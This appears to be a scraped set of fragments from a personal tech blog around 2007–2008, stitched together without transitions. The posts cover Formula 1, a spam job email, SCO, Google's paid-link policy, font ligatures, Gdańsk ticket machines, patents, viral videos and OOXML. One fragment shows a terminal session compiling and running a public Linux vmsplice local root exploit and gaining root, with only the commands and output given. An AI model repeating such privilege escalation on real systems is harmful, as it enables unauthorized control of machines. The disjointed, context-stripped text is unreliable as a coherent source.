How to celebrate Kubica's Pole Position? As an experiment I bought Lithuanian wheat beer Švyturys.

Švyturys

Fortunately there already exists a quick fix working on a live system (it doesn't require to reinstall the kernel).

The exploit in action:

wanted@fafik: /crack/local-root-exp$ gcc exp.c -static -Wno-format
wanted@fafik: /crack/local-root-exp$ ./a.out
———————————–
 Linux vmsplice Local Root Exploit
 By qaaz
———————————–
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7ede000 .. 0xb7f10000
[+] root
root@fafik: /crack/local-root-exp# id
uid=0(root) gid=0(root)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),106(lpadmin),107(admin),1000(wanted)

From: Ann Sangolt <Fraser76@equitec.com>
To: mailer-daemon <mailer-daemon@…>
Subject: Job for you
Date: Mon, 28 Jan 2008 01:49:04 -0800

Hello!

Our company would like to offer you the following position: Assistant
Manager.

This is part-time home-based position. You'll need no money and no
specialskills to start. This job requires only few hours
during the week and isavailable on the whole territory of Poland. You can
easily combine it with yourmain employment.

If you are interested and would like to know more about our company and
positionoffered, please drop me a line to:
poland@inax-trading.com

Thank you.

Have a nice day.

For your information, mailer-daemon@ is an administrative address assigned to the mail server software, not a specific person. So it seems they offer an interesting job for our server, I shall ask if he is interested in managerial position :-) On the other hand though, the machine could then rebel against me like in Blade Runner. Nah, I'll better keep quiet :-)

Today their stance is rather modest. It's interesting that the biggest banner on SCO's home page is devoted to… a patch for their commercial Unix systems related to daylight savings time change in the U.S. and Canada in 2007. It is thus a bit of a latecomer, at the moment. It shows exactly the state of the company going down – it's a shame it took so long and cost so much nerves. Die SCO, die!

SCO home page and a huge banner

Regarding baking – today the whole family under the direction of my loved wife baked gingerbread cookies for Christmas. Yummy and lasting, they can even stay edible for several months, which is a nice feature for geeks and students. Highly recommended, if needed I can share the recipe. The wife can't be shared, I'm afraid.

Christmas gingerbread

Regardless of clear signs that paid links, as one of the techniques used to cheat search engines are not allowed, during those months Google AdWords and AdSense still allowed the companies working in paid links business to run ads. The problem was widely commented on many sites as a sign of duplicity from Google, on one hand fighiting with illegal SEO in organic results and on the other allowing the same companies to run ads via AdWords/AdSense and indirectly making money on the business.

Today Google says “B” in the case of paid links. Indeed it does it quite late, but in the end Google turns out to do the right thing by removing ads run against the regulations. As Matt Cutts put it in several comments, after a chat with ads team the problem was recognized and policy will be enforced from now on.

Until now the search results for keyword “PR8” (i.e. PageRank 8) looked like this:

PR8 query results before the change

and today they look quite different:

PR8 results today

(The images are licensed CC-BY-NC and come from Google Blogoscoped)

It is a step in good direction both for Google and Internet users. Most people realize that the fight between spammers and search engines is an eternal arms race and that it's impossible to separate 100% grain from chaff. Nevertheless, I reckon that to give up the fight would result in so much spam in search results, that they would no longer be useful. Organic results for most queries would not differ much from the ads shown next to them. The top places would be taken by those who spend the most money on “promotion”, regardless of their relevancy or usability. I hope we'll never see such a dark vision of the WWW.

PKP Przewozy Regionalne leaflet

The last page contains an ad from Plus GSM mobile phone network and a fine print with an interesting bug:

The fine print from Plus GSM advertisement

There is a sentence: “50 godzin na rozmowy w tary?e Elastyczna 300…”, where the “taryfie” word has a question mark in the middle. Similar bugs happen from time to time with printing Polish diacritics, but in this case they happen to be fine.

The problem here is with ligatures. Some letter combinations are connected into one character (glyph) in traditional typography for aesthetic reasons. For instance, printing the two letters fi next to each other (like in “taryfie”) causes unpleasant blending of the dot above i with the tip of f. It's much better for a professional to design elegant ligatures in font and then use them with DTP software in print. In practice however, many fonts don't have ligatures at all. Besides, popular software like MS Office doesn't support them too.

The case above was apparently the result of copying the text between different applications or the font was changed – the original text contained the fi ligature and the destination system didn't have it. That's why it was replaced with the question mark.

In case you want to use ligatures in your documents, one of the DTP systems which support them is LaTeX.

Ligature examples

SKM ticket machine

The idea to install ticket machines is indeed praiseworthy. In most Western cities you can no longer find human operated ticket desks because they are more expensive than hardware. Surely the initial cost of the devices must be quite high, until the system is fully developed, but in the long term the machines save a lot of time and are very practical.

The SKM stops are equipped with German made ticket machines from Elgeba Gerätebau GmbH. They look pretty solid, have a touch screen, accept coins and notes, return change – all in all they do what's expected.

Now let's say a few bitter words about the machines' drawbacks. First of all, I was never able to pay with more than a 10 zloty note. When I tried a 20 zloty note in several machines it was always rejected due to lack of change. It seems quite unlikely for the machine to not have enough change – I rather suspect some strange limitation in the configuration.

The most important problems are related to usability and quality of the graphical interface. The GUI was clearly not designed by a usability expert. There are too many options visible at any given time, lots of buttons, bad choice of colours. It could have been done better, especially the destination station choice dialog.

According to European trends in Poland, the interface is available in two foreign languages – English and German. Pressing a flag does switch to the language of choice.

English interface

However, let's see what happens when we select Help? We see the help text in Polish! Absolutely stupid, all they would need is one hour of translator's work to translate the few screens of help text. Beneath we can see the translated Main Menu and Previous buttons; the middle part is however useless to foreigners.

English interface – Help option

Looking through the help screens I found a schematic map of SKM's network. Unfortunately it was hopeless. Stop names are almost unreadable. People from Tricity don't need the map cause they know it by heart, but for tourists it is invaluable help. Shame it was so messed up. The photo below is not of bad quality, the map really does look like that.

SKM network map

Summing up, the idea is great, the result not so much. Fortunately, the software can be surely easily fixed and the hardware seems quite solid. I hope SKM will fix the above problems.

An unusual coincidence could cause all three drivers to finish the championship with the same number of points. Räikkönen would have to come second, Alonso – fourth and Hamilton – eighth. All of them would then have 108 points. Regardless, we wouldn't have three winners, because according to the rules, Räikkönen would win with five individual Grand Prix wins, while both McLaren drivers only have four.

Suppose that the fight would take place just between Alonso and Hamilton, there are four different combinations of places in Interlagos race, which would result in a draw and – if I'm correct – both of them sharing the World Champion title.

Outside the Great Britain, where Hamilton is obviously the big star, he is much less popular in other countries. The main reason for that is the fact of apparent favourable treatment of the driver by both FIA and McLaren's management (both organisations are in fact dominated by the British). That's why I personally support Alonso, hoping that he will repeat the success as in two last years.

In the background of the main combat, people in Poland cheer for our own Robert Kubica – hoping that maybe at least once in this season Robert will have more luck and the car will perform fine. The stability of his BMW for the whole year was well below expectations.

As The Register writes, the smart New Zealander, who isn't even a lawyer himself, challenged the validity of this patent in USPTO. The fact that the patent doesn't represent any real innovation was quite obvious for most technically inclined WWW users for a long time. Nevertheless nobody managed to successfully challenge its sense according to USPTO's procedures. For a patent to be valid in USA, the so called prior art (an earlier example of using the same idea) must not exist. In other words, the invention must be original.

Acting in accordance with the rules, Peter Calveley found earlier examples of the techniques described in the patent as Amazon's “inventions”. He used two older patents from 1994 and 1996, which described very similar ideas, hence they couldn't have been invented by Amazon in 1997. Also, one of the Newsweek's journalists wrote an article in 1995 titled “The End of Money?”, in which he described exactly how to perform Internet shopping with one click of a button. Thanks to those examples of prior art, USPTO rejected 21 out of 26 patent claims and the status of the remaining ones is still undecided.

Let me say this to all patent trolls: rest in peace :-)

What happens if you type “google” into Google? Well, you can break the Internet ;-)

The other movie is a parody of antipiracy campaign pushed forward by organisations like MPAA or RIAA (BTW, they use unethical methods of fighting so called piracy themselves).

Here is a transcript of the videos:

— I don't think that's true.
— With all due respect John, I'm head of IT and I have it on good authority. If you type “google” into Google, you can break the Internet, so please no one try it. Even for a joke. It's not a laughing matter, you can break the Internet.

The second clip:

You wouldn't steal a handbag.
You wouldn't steal a car.
You wouldn't steal a baby.
You wouldn't shoot a policeman and then steal his helmet.
You wouldn't go to the toilet in his helmet.
And then send it to the policeman's grieving widow.
And then steal it again!
Downloading films is stealing. If you do it, you will face the consequences!

The clip below was found on YouTube by my friend Tomasz Rychlicki. I really recommend watching all of it.

The question remains, if the events shown here are in fact true. The author of the programme, Derren Brown, is known for his pseudoscientific experiments demonstrating mind control. Was this one fake as well, or is it a genuine way to influence people, who should in theory be less susceptible to subliminal advertising because of their job? You decide!

Additionally, here is another recording of the same author, but made for American TV.

Many people noticed that, the recording is posted below:

Most comments, including the recording's author and numerous blog posts suggest that McDonald's employed subliminal marketing here. Many people think that showing an ad for a very short, unnoticeable period of time will unconsciously affect our preferences, e.g. after we leave a cinema. Related law regulations in many countries forbid this form od advertising. In fact, there is no convincing proof that subliminal messages work at all. An often quoted experiment by James Vicary in 1957 was in fact fake. Food Network claimed that it was simply a “technical error”. Was that really the case or do we have hidden viral advertising here? Too often “technical errors” are blamed for something, which is difficult to admit.

First of all, the McDonald's subliminal message theory is very unlikely for a few reasons:

1. It's not known, if the phenomenon works at all.
2. The shortest possible length of emission is 1/60th of a second, which is long enough for most people to see the odd frame (this contradicts the definition of subliminal message, which should be invisible).
3. It would be very risky to put oneself into huge legal problems, because FCC forbids subliminal advertising in the USA.

How about viral marketing? The purpose of it is to arouse interest among viewers with something non-typical and using them to willingly spread the word. It is very effective, cheap but also quite risky. If the marketing plan is too obvious, Internet surfers will find it disgusting and generate a lot of negative PR, making the management fall into despair.

In this case, viral marketing – conscious or just the result of technical mistake – worked fine. There are many articles on the net, including the one you're reading now, which talk about the subject, including McDonald's name and logo. It is clearly visible when you google for [food network subliminal mcdonald] and find more than 600 000 results. Everyone tries to analyse the video frame by frame and writes kilobytes of text about McDonald. So let me finish now, cause I'm starting to feel the urge for a Big Mac.

The ad gained a lot of popularity among Polish Internet users because of a peculiar choice of letters used on optician's Snellen chart. They used some acronyms, which are very popular in chat rooms and other situations: OMG, WTF, STFU, PWN3D, UR A NOOB, LMAO, ROTF, KTHXBYE, :P. Hats off to the media agency which invented that! The idea most likely comes from the giftedtwisted design available at cafepress.com.

screenshot 1

screenshot 2

The VOB file I got was first cropped, then I deinterlaced it and converted into OGM format using Xvid and OGG Vorbis codecs. The result: Vision_Express-OMG.ogm (3 MB). In case you have trouble watching it, I recommend VLC. I also uploaded it to Google Video, which is posted below:

bikes

farewell to the legendary chef

tastes best when cold

matrix

matrix #2

Google Bike #1

And here is the promised video:

It's easy to forget the exact tone of the CU ad. There was a movie, Amelie, released earlier which had the above mentioned piece in the soundtrack. Someone came up with an idea, that the ad music was very similar and he spread this unconfirmed information. To be honest, I was very skeptical about that, but the problem was to find a recording of this ad from 2003. I tried the web search, P2P, FTP – without luck. Finally, I decided to have a look at Commercial Union's website itself and amazingly it was right there. The commercial is part of the campaign called „Trust comes with commitment” from June 2003.

I uploaded the movie to Google Video for easier playback, so without futher ado watch and, most importantly, listen to the piece, which certainly is not Yann Tiersen's „Les Jours Tristes (Instrumental)”.

In case you have any doubts, the clip below (quite nice, by the way) has the original Tiersen's music:

Update: Karol Papała commented on my Polish blog, that he found the actual composer of the Commercial Union ad music. It's Maciej Zieliński, a Polish guy and an author of many more tunes used in popular ads. You can listen to some samples at his website, including the CU piece (local copy).

In other news, Microsoft ordered an extra delivery of office chairs :-)

My related posts:

• My opinion on OOXML standardisation
• OOXML protest brings a result
• Microsoft bought Swedish votes for OOXML case
• Poland votes yes on OOXML

Together with Iza I have just created our proposal, we'll see if it gets chosen to the final movie…

Update (2007-09-02):
The final compilation has been published. Unfortunately my movie didn't make it, but I had some fun anyway.

More movies can be seen at YouTube.